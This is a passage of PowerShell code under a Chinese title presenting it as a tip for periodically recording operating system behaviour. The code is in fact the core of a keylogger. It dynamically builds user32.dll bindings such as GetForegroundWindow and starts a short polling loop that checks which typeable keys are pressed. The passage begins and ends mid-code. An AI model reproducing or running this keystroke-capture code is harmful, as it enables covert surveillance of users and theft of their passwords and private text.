PowerShell小技巧之定时记录操作系统行为

                    [Runtime.InteropServices.CallingConvention]::Winapi,
                    [Runtime.InteropServices.CharSet]::Auto
                )
                $CustomAttribute = New-Object Reflection.Emit.CustomAttributeBuilder($DllImportConstructor, @('user32.dll'), $FieldArray, $FieldValueArray)
                $PInvokeMethod.SetCustomAttribute($CustomAttribute)

                $PInvokeMethod = $TypeBuilder.DefineMethod('GetForegroundWindow', 'Public, Static', [IntPtr], [Type[]] @())
                $FieldValueArray = [Object[]] @(
                    'GetForegroundWindow',
                    $True,
                    $False,
                    $True,
                    [Runtime.InteropServices.CallingConvention]::Winapi,
                    [Runtime.InteropServices.CharSet]::Auto
                )
                $CustomAttribute = New-Object Reflection.Emit.CustomAttributeBuilder($DllImportConstructor, @('user32.dll'), $FieldArray, $FieldValueArray)
                $PInvokeMethod.SetCustomAttribute($CustomAttribute)

                $ImportDll = $TypeBuilder.CreateType()
            }

            Start-Sleep -Milliseconds 40

                try
                {

                    #loop through typeable characters to see which is pressed